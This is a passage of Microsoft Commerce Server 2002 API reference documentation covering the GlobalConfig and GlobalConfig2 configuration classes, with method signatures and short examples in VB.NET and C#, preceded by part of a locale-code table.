nl-NL | Dutch - The Netherlands | 0x0413 |
en-AU | English - Australia | 0x0C09 | ENA
en-BZ | English - Belize | 0x2809 | ENL
en-CA | English - Canada | 0x1009 | ENC
en-CB | English - Caribbean | 0x2409 |
en-IE | English - Ireland | 0x1809 | ENI
en-JM | English - Jamaica | 0x2009 | ENJ
en-NZ | English - New Zealand | 0x1409 | ENZ
en-PH | English - Philippines | 0x3409 |
en-ZA | English - South Africa | 0x1C09 | ENS
en-TT | English - Trinidad and Tobago | 0x2C09 | ENT
en-GB | English - United Kingdom | 0x0809 | ENG
en-US | English - United States | 0x0409 | ENU
en-ZW | English - Zimbabwe | 0x3009 |
et-EE | Estonian - Estonia | 0x0425 | ETI
fo-FO | Faroese - Faroe Islands | 0x0438 | FOS
fa-IR | Farsi - Iran | 0x0429 | FAR
fi-FI | Finnish - Finland | 0x040B | FIN
fr-BE | French - Belgium | 0x080C | FRB
fr-CA | French - Canada | 0x0C0C | FRC
fr-FR | French - France | 0x040C |
fr-LU | French - Luxembourg | 0x140C | FRL
fr-MC | French - Monaco | 0x180C |
fr-CH | French - Switzerland | 0x100C | FRS
gl-ES | Galician - Galician | 0x0456 |
ka-GE | Georgian - Georgia | 0x0437 |
de-AT | German - Austria | 0x0C07 | DEA
de-DE | German - Germany | 0x0407 |
de-LI | German - Liechtenstein | 0x1407 | DEC
de-LU | German - Luxembourg | 0x1007 | DEL
de-CH | German - Switzerland | 0x0807 | DES
el-GR | Greek - Greece | 0x0408 | ELL
gu-IN | Gujarati - India | 0x0447 |
he-IL | Hebrew - Israel | 0x040D | HEB
hi-IN | Hindi - India | 0x0439 | HIN
hu-HU | Hungarian - Hungary | 0x040E | HUN
is-IS | Icelandic - Iceland | 0x040F | ISL
id-ID | Indonesian - Indonesia | 0x0421 |
it-IT | Italian - Italy | 0x0410 |
it-CH | Italian - Switzerland | 0x0810 | ITS
ja-JP | Japanese - Japan | 0x0411 | JPN
kn-IN | Kannada - India | 0x044B |
kk-KZ | Kazakh - Kazakhstan | 0x043F |
kok-IN | Konkani - India | 0x0457 |
ko-KR | Korean - Korea | 0x0412 | KOR
ky-KZ | Kyrgyz - Kazakhstan | 0x0440 |
lv-LV | Latvian - Latvia | 0x0426 | LVI
lt-LT | Lithuanian - Lithuania | 0x0427 | LTH
mk-MK | Macedonian - FYROM | 0x042F | MKD
ms-BN | Malay - Brunei | 0x083E |
ms-MY | Malay - Malaysia | 0x043E |
mr-IN | Marathi - India | 0x044E |
mn-MN | Mongolian - Mongolia | 0x0450 |
nb-NO | Norwegian (Bokmål) - Norway | 0x0414 |
nn-NO | Norwegian (Nynorsk) - Norway | 0x0814 |
pl-PL | Polish - Poland | 0x0415 | PLK
pt-BR | Portuguese - Brazil | 0x0416 | PTB
pt-PT | Portuguese - Portugal | 0x0816 |
pa-IN | Punjabi - India | 0x0446 |
ro-RO | Romanian - Romania | 0x0418 | ROM
ru-RU | Russian - Russia | 0x0419 | RUS
sa-IN | Sanskrit - India | 0x044F |
Cy-sr-SP | Serbian (Cyrillic) - Serbia | 0x0C1A |
Lt-sr-SP | Serbian (Latin) - Serbia | 0x081A |
sk-SK | Slovak - Slovakia | 0x041B | SKY
sl-SI | Slovenian - Slovenia | 0x0424 | SLV
es-AR | Spanish - Argentina | 0x2C0A | ESS
es-BO | Spanish - Bolivia | 0x400A | ESB
es-CL | Spanish - Chile | 0x340A | ESL
es-CO | Spanish - Colombia | 0x240A | ESO
es-CR | Spanish - Costa Rica | 0x140A | ESC
es-DO | Spanish - Dominican Republic | 0x1C0A | ESD
es-EC | Spanish - Ecuador | 0x300A | ESF
es-SV | Spanish - El Salvador | 0x440A | ESE
es-GT | Spanish - Guatemala | 0x100A | ESG
es-HN | Spanish - Honduras | 0x480A | ESH
es-MX | Spanish - Mexico | 0x080A | ESM
es-NI | Spanish - Nicaragua | 0x4C0A | ESI
es-PA | Spanish - Panama | 0x180A | ESA
es-PY | Spanish - Paraguay | 0x3C0A | ESZ
es-PE | Spanish - Peru | 0x280A | ESR
es-PR | Spanish - Puerto Rico | 0x500A | ES
es-ES | Spanish - Spain | 0x0C0A |
es-UY | Spanish - Uruguay | 0x380A | ESY
es-VE | Spanish - Venezuela | 0x200A | ESV
sw-KE | Swahili - Kenya | 0x0441 |
sv-FI | Swedish - Finland | 0x081D | SVF
sv-SE | Swedish - Sweden | 0x041D |
syr-SY | Syriac - Syria | 0x045A |
ta-IN | Tamil - India | 0x0449 |
tt-RU | Tatar - Russia | 0x0444 |
te-IN | Telugu - India | 0x044A |
th-TH | Thai - Thailand | 0x041E | THA
tr-TR | Turkish - Turkey | 0x041F | TRK
uk-UA | Ukrainian - Ukraine | 0x0422 | UKR
ur-PK | Urdu - Pakistan | 0x0420 | URD
Cy-uz-UZ | Uzbek (Cyrillic) - Uzbekistan | 0x0843 |
Lt-uz-UZ | Uzbek (Latin) - Uzbekistan | 0x0443 |
vi-VN | Vietnamese - Vietnam | 0x042A | VIT


GlobalConfig Class (PIA)

Use this object to accomplish the following:

  • Create or delete resource configuration information.
  • Save any updated global configuration information to the Administration database.
  • Add a site.
You can add your own custom resources to use the GlobalConfig object to access configuration settings from the Administration database.

Methods

Method | Description
CreateServiceConfig | Creates and writes configuration information for the specified resource to the Administration database.
CreateSiteConfig | Creates a site.
DeleteServiceConfig | Deletes configuration information for the specified resource.
DeleteSiteConfig | Deletes the specified configuration for the site and all configurations for the associated resources.
GetIfCollection | Converts values read from the Fields property into appropriate objects such as a SimpleList object or a System.Array.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
Initialize | Loads the global configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into a System.Array.
MakeArrayFromString | Converts values read from the Fields property into a System.Array.
MakeSimpleListFromArray | Converts a System.Array into a SimpleList object.
MakeStringFromArray | Converts a System.Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.
SaveConfig | Saves the global configuration settings to the Administration database.
Sites | Returns a list of all of the sites available in the administration data store.

Properties

Property | Type | Description
Fields | ADODB26Lib.Fields | Returns group-level configuration data. This property is read-only.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

Integrating Custom Resources

Configuration Objects

SiteConfig Class

SiteConfigReadOnly Class


GlobalConfig Methods (PIA)

Methods

Method | Description
CreateServiceConfig | Creates and writes configuration information for the specified resource to the Administration database.
CreateSiteConfig | Creates a site.
DeleteServiceConfig | Deletes configuration information for the specified resource.
DeleteSiteConfig | Deletes the specified configuration for the site and all configurations for the associated resources.
GetIfCollection | Converts values read from the Fields property into appropriate objects such as a SimpleList object or a System.Array.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
Initialize | Loads the global configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into a System.Array.
MakeArrayFromString | Converts values read from the Fields property into a System.Array.
MakeSimpleListFromArray | Converts a System.Array into a SimpleList object.
MakeStringFromArray | Converts a System.Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.
SaveConfig | Saves the global configuration settings to the Administration database.
Sites | Returns a list of all of the sites available in the Administration data store.


GlobalConfig.CreateServiceConfig Method (PIA)

Use this method to create an instance of the class specified by the bstrConfigSchemaClass parameter, set the Name property of the instance to the name specified in the bstrServiceName parameter, and load the instance into the site Recordset. This method calls the SaveConfig method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub CreateServiceConfig(
  bstrResourceName As String,
  bstrConfigSchemaClass As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void CreateServiceConfig(
  string bstrResourceName,
  string bstrConfigSchemaClass
);

Parameters

[Visual Basic .NET]
bstrResourceName
A String that contains the new name for the resource configuration object instance.
bstrConfigSchemaClass
A String that contains the resource configuration schema class name.
[C#]
bstrResourceName
A string that contains the new name for the resource configuration object instance.
bstrConfigSchemaClass
A string that contains the resource configuration schema class name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

The following table contains a list of schema classes for this method.

Administration Database Class Name | Resource Name
MSCS_AuthManager | Site CS Authentication
MSCS_DirectMailer | Direct Mailer
MSCS_Predictor | Predictor
MSCS_DataWarehouse_Group | Global Data Warehouse
MSCS_BizDataStore | Profiles
[Visual Basic .NET]

Example

' sMyPredictor is a String denoting the new resource name
' oGlobalConfig is a Commerce GlobalConfig object
oGlobalConfig.CreateServiceConfig(sMyPredictor, MSCS_Predictor)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

GlobalConfig Class

GlobalConfig.DeleteServiceConfig


GlobalConfig.CreateSiteConfig Method (PIA)

Use this method to create a site using the name specified in the bstrSiteName parameter. This method calls the SaveConfig method. This method is used primarily from Commerce Server Manager or by Commerce Server Site Packager. The correct ACLs are set on the entries in the Internet Information Services (IIS) metabase by Commerce Server Site Packager, to ensure that the Admin objects can only be operated on by site administrators.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function CreateSiteConfig(
  bstrSiteName As String
) As ISiteConfig
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public ISiteConfig CreateSiteConfig(
  string bstrSiteName
);

Parameters

[Visual Basic .NET]
bstrSiteName
A String that contains the new site name.
[C#]
bstrSiteName
A string that contains the new site name.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that implements the ISiteConfig interface that contains the site configuration settings.

[C#] This method returns a Microsoft.CommerceServer.Interop.Configuration.ISiteConfig interface for a SiteConfig object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

[Visual Basic .NET]

Example

' sMyNewSite is a string; oGlobalConfig is a Commerce GlobalConfig object
' oMSCSSiteConfig is a Commerce SiteConfig object
oMSCSSiteConfig = oGlobalConfig.CreateSiteConfig(sMyNewSite)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

GlobalConfig Class

GlobalConfig.DeleteSiteConfig


GlobalConfig.DeleteServiceConfig Method (PIA)

Use this method to delete the specified resource, and to delete the Administration database association that links this resource to the site instance.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub DeleteServiceConfig(
  bstrResourceName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void DeleteServiceConfig(
  string bstrResourceName
);

Parameters

[Visual Basic .NET]
bstrResourceName
A String that contains the name of the resource configuration object to be deleted.
[C#]
bstrResourceName
A string that contains the name of the resource configuration to be deleted.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

[Visual Basic .NET]

Example

' sMyPredictor is the name of an existing resource
' oGlobalConfig is a Commerce GlobalConfig object
oGlobalConfig.DeleteServiceConfig (sMyPredictor)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

GlobalConfig Class

GlobalConfig.CreateServiceConfig


GlobalConfig.DeleteSiteConfig Method (PIA)

Use this method to delete a site configuration object instance for the current site from the Administration database. This method is primarily used by Commerce Server Manager or by Commerce Server Site Packager.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub DeleteSiteConfig(
  bstrSiteName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void DeleteSiteConfig(
  string bstrSiteName
);

Parameters

[Visual Basic .NET]
bstrSiteName
A String that contains the site name.
[C#]
bstrSiteName
A string that contains the site name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

[Visual Basic .NET]

Example

' sMySiteName is an existing site name
' oGlobalConfig is a Commerce GlobalConfig object
oGlobalConfig.DeleteSiteConfig(sMySiteName)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

GlobalConfig Class

GlobalConfig.CreateServiceConfig


GlobalConfig.GetIfCollection Method (PIA)

Use this method to convert values read from the Fields property into appropriate objects such as a SimpleList object or a System.Array object. If the encoding in the string contained in the Fields property indicates a SimpleList object, then a SimpleList object is returned. If the encoding indicates a System.Array object, then a System.Array object is returned. If no collection object is indicated, then the method returns the original encoded input string.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetIfCollection(
  ByRef strList As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object GetIfCollection(
  ref object strList
);

Parameters

[Visual Basic .NET]
strList
An Object that contains the encoded string to be converted.
[C#]
strList
An object that contains the encoded string to be converted.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object containing the converted data in the appropriate data type.

[C#] This method returns an object containing the converted data in the appropriate data type.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oObject is an Object; oEncodedString is an Object
' oGlobalConfig is a Commerce GlobalConfig object
oObject = oGlobalConfig.GetIfCollection(oEncodedString)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

GlobalConfig Class


GlobalConfig.GetResourcePropAttrib Method (PIA)

Use this method to get a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
Imports Microsoft.CommerceServer.Interop     ‘ for IDictionary
…
Public Function GetResourcePropAttrib(
  strResourceName As String,
  strPropName As String
) As IDictionary
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
using Microsoft.CommerceServer.Interop;             //For IDictionary
…
public IDictionary GetResourcePropAttrib(
  string strResourceName,
  string strPropName
);

Parameters

[Visual Basic .NET]
strResourceName
A String that contains the resource name.
strPropName
A String that contains the resource property name.
[C#]
strResourceName
A string that contains the resource name.
strPropName
A string that contains the resource property name.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a reference to an Object that implements the IDictionary interface containing the key/value pairs that denote the attributes of the specified property of the specified resource.

[C#] This method returns an IDictionary interface to a Dictionary object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[C#] The Initialize method must be called before this method can be called.

[Visual Basic .NET]

Example

' dDict is a Dictionary object
' sMyCatalog is an existing resource
' connstr_desc_Catalog is a valid Catalog resource property
' oGlobalConfig is a Commerce GlobalConfig object
dDict = _
oGlobalConfig.GetResourcePropAttrib(sMyCatalog, connstr_desc_Catalog)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

GlobalConfig Class


GlobalConfig.Initialize Method (PIA)

Use this method to load the global configuration from the Administration database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub Initialize(
  Optional bstrResourceName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void Initialize(
  string bstrResourceName
);

Parameters

[Visual Basic .NET]
bstrResourceName
A String reserved for future use. This method ignores the value placed in this parameter.
[C#]
bstrGroupName
A string reserved for future use. This method ignores the value placed in this parameter.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

GlobalConfig Class


GlobalConfig.MakeArrayFromSimpleList Method (PIA)

Use this method to convert the specified SimpleList object into a System.Array object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeArrayFromSimpleList(
  ByRef list As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object MakeArrayFromSimpleList(
  ref object list
);

Parameters

[Visual Basic .NET]
list
An object reference to the SimpleList that you want to convert into a System.Array object.
[C#]
list
A SimpleList object that you want to convert into a System.Array object.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object containing the converted System.Array object.

[C#] This method returns the converted System.Array object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray
[Visual Basic .NET]

Example

' oMyObject is an Object
' varMySimpleList is an object reference to a SimpleList object
' oGlobalConfig is a Commerce GlobalConfig object
oMyObject = oGlobalConfig.MakeArrayFromSimpleList(varMySimpleList)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

GlobalConfig Class


GlobalConfig.MakeArrayFromString Method (PIA)

Use this method to convert an encoded string read from the Fields property into a System.Array object. If the encoded string does not indicate System.Array object properties, then the method returns the original string that was passed into it.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeArrayFromString(
  strList As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object MakeArrayFromString(
  object strList
);

Parameters

[Visual Basic .NET]
strList
An Object that contains the encoded string.
[C#]
strList
An object that contains the encoded string.

Return Values

This method returns an object containing the converted System.Array object or unconverted string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[Visual Basic .NET]

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used on values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Objects or System.Arrays as Fields columns. Therefore, the GlobalConfig object resorts to storing data in an encoded string format.
[Visual Basic .NET]

Example

' oEncoded is an Object containing an encoded string read from the Fields
' property
' oArray is an Object
' oGlobalConfig is a Commerce GlobalConfig object
oArray = oGlobalConfig.MakeArrayFromString(oEncoded)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

GlobalConfig Class


GlobalConfig.MakeSimpleListFromArray Method (PIA)

Use this method to convert a System.Array object into a SimpleList object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeSimpleListFromArray(
  ByRef varArray As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object MakeSimpleListFromArray(
  ref object varArray
);

Parameters

[Visual Basic .NET]
varArray
An Object that contains the System.Array object to convert.
[C#]
varArray
An object that contains the System.Array object to convert.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object reference to the converted SimpleList object.

[C#] This method returns the converted SimpleList object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray
[Visual Basic .NET]

Example

' pMyArray is an Object
' varMySimpleList is a SimpleList object
' oGlobalConfig is a Commerce GlobalConfig object
varMySimpleList = oGlobalConfig.MakeSimpleListFromArray(oMyArray)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

GlobalConfig Class


GlobalConfig.MakeStringFromArray Method (PIA)

Use this method to convert a System.Array object into an encoded String, which can be written to the Fields property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeStringFromArray(
  ByRef varArray As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object MakeStringFromArray(
  ref object varArray
);

Parameters

[Visual Basic .NET]
varArray
An Object that contains the System.Array object to encode.
[C#]
varArray
An object that contains the System.Array object to encode.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the encoded String.

[C#] This method returns an object containing the encoded string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Objects or System.Arrays as Fields columns. Therefore, the GlobalConfig object resorts to storing data in an encoded String format.
[Visual Basic .NET]

Example

' oEncoded is an Object
' oArray is an Object
' oGlobalConfig is a Commerce GlobalConfig object
oEncoded = oGlobalConfig.MakeStringFromArray(oArray)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

GlobalConfig Class


GlobalConfig.MakeStringFromSimpleList Method (PIA)

Use this method to convert a SimpleList object into an encoded String, which can be written to the Fields property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeStringFromSimpleList(
  ByRef slist As Object
) As String
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public string MakeStringFromSimpleList(
  ref object slist
);

Parameters

[Visual Basic .NET]
slist
An object reference to the SimpleList object that you want to convert into an encoded String.
[C#]
slist
A SimpleList object that you want to convert into an encoded string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Objects, System.Arrays, or SimpleLists as Fields columns. Therefore, the GlobalConfig object resorts to storing data in an encoded String format.
[Visual Basic .NET]

Example

' vEncoded is a string
' varMySimpleList is an object reference to a SimpleList object
' oGlobalConfig is a Commerce GlobalConfig object
vEncoded = oGlobalConfig.MakeStringFromSimpleList(varMySimpleList)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

GlobalConfig Class


GlobalConfig.SaveConfig Method (PIA)

Use this method to save the global configuration settings to the Administration database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub SaveConfig()
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void SaveConfig();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)


GlobalConfig.Sites Method (PIA)

Use this method to retrieve a list of all the sites available in the Administration database. This method returns an Object that implements the _Recordset interface that contains a single record; the number of fields in the Fields collection is equal to the number of sites in the Microsoft Commerce Server 2002 installation. Each Fields collection contains the name of one of the sites.

Definition (PIA)

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
Imports ADODB26Lib    ‘ for _Recordset
…
Public Function Sites() As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
using ADODB26Lib;                                   //For _Recordset
…
public _Recordset Sites();

Return Values (PIA)

[Visual Basic .NET] If this method completes successfully, it returns an Object that implements the _Recordset interface that contains a list of all the sites available in the Administration data store.

[C#] This method returns an object that implements the ADODB26Lib._Recordset interface to a Recordset containing a list of all sites available in the Administration data store.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)


GlobalConfig Properties (PIA)

Properties

Property | Type | Description
Fields | ADODB26Lib.Fields | Returns group-level configuration data. This property is read-only.


GlobalConfig.Fields Property (PIA)

[Visual Basic .NET] The Fields property is a read-only Fields object. The Fields property contents include recordsets that hold the configuration settings of resources. A Fields object is a Fields collection.

[C#] The Fields property is a read-only Fields object. The Fields property contents include recordsets that hold the configuration settings of resources. A Fields object is an ADODB26Lib.Fields object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
Imports ADODB26Lib     ‘ for Fields
…
Public Property Fields As Fields
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
using ADODB26Lib;                                   //For Fields
…
public Fields Fields {get; }

Property Value

This property returns a collection of ADODB26Lib.Fields objects.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

GlobalConfig Class


GlobalConfig2 Class (PIA)

Use this object to accomplish the following:

  • Create or delete resource configuration information.
  • Save updated global configuration information to the Administration database.
  • Add a site.

    You can add your own custom resources to use this object to access configuration settings from the Administration database.

Methods

Method | Description
CreateServiceConfig | Creates and writes configuration information for the specified resource to the Administration database.
CreateSiteConfig | Creates and writes configuration information for the specified resource to the Administration database.
DeleteServiceConfig | Deletes configuration information for the specified resource.
DeleteSiteConfig | Deletes the specified configuration for the site and all configurations for the associated resources.
GetGlobalResources | Retrieves a list of all the names of the resources from the Resources table in the Administration database.
GetIfCollection | Converts values read from the Fields property into appropriate objects such as a SimpleList object or a Variant Array.
GetRefSites | Retrieves a list of names of sites that reference the given resource.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
Initialize | Loads the global configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array .
MakeArrayFromString | Converts values read from the Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.
SaveConfig | Saves the global configuration settings to the Administration database.
Sites | Returns a list of all of the sites available in the Administration data store.

Properties

Property | Type | Description
Fields | Object | Returns group-level configuration data. This property is read-only.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)


GlobalConfig2 Methods (PIA)

Methods

Method | Description
CreateServiceConfig | Creates and writes configuration information for the specified resource to the Administration database.
CreateSiteConfig | Creates and writes configuration information for the specified resource to the Administration database.
DeleteServiceConfig | Deletes configuration information for the specified resource.
DeleteSiteConfig | Deletes the specified configuration for the site and all configurations for the associated resources.
GetGlobalResources | Retrieves a list of all the names of the resources from the Resources table in the Administration database.
GetIfCollection | Converts values read from the Fields property into appropriate objects such as a SimpleList object or a Variant Array.
GetRefSites | Retrieves a list of names of sites that reference the given resource.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
Initialize | Loads the global configuration data from the Administration database.
MakeArrayFromString | Converts values read from the Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.
SaveConfig | Saves the global configuration settings to the Administration database.
Sites | Returns a list of all of the sites available in the Administration data store.


GlobalConfig2.CreateServiceConfig Method (PIA)

Use this method to create an instance of the class specified by the bstrConfigSchemaClass parameter, set the Name property of the instance to the name specified in the bstrServiceName parameter, and load the instance into the site recordset. This method calls the SaveConfig method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub CreateServiceConfig(
  bstrResourceName As String,
  bstrConfigSchemaClass As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void CreateServiceConfig(
  string bstrResourceName,
  string bstrConfigSchemaClass
);

Parameters

[Visual Basic .NET]
bstrResourceName
A String that contains the new name for the resource configuration object instance.
bstrConfigSchemaClass
A String that contains the resource configuration schema class name.
[C#]
bstrResourceName
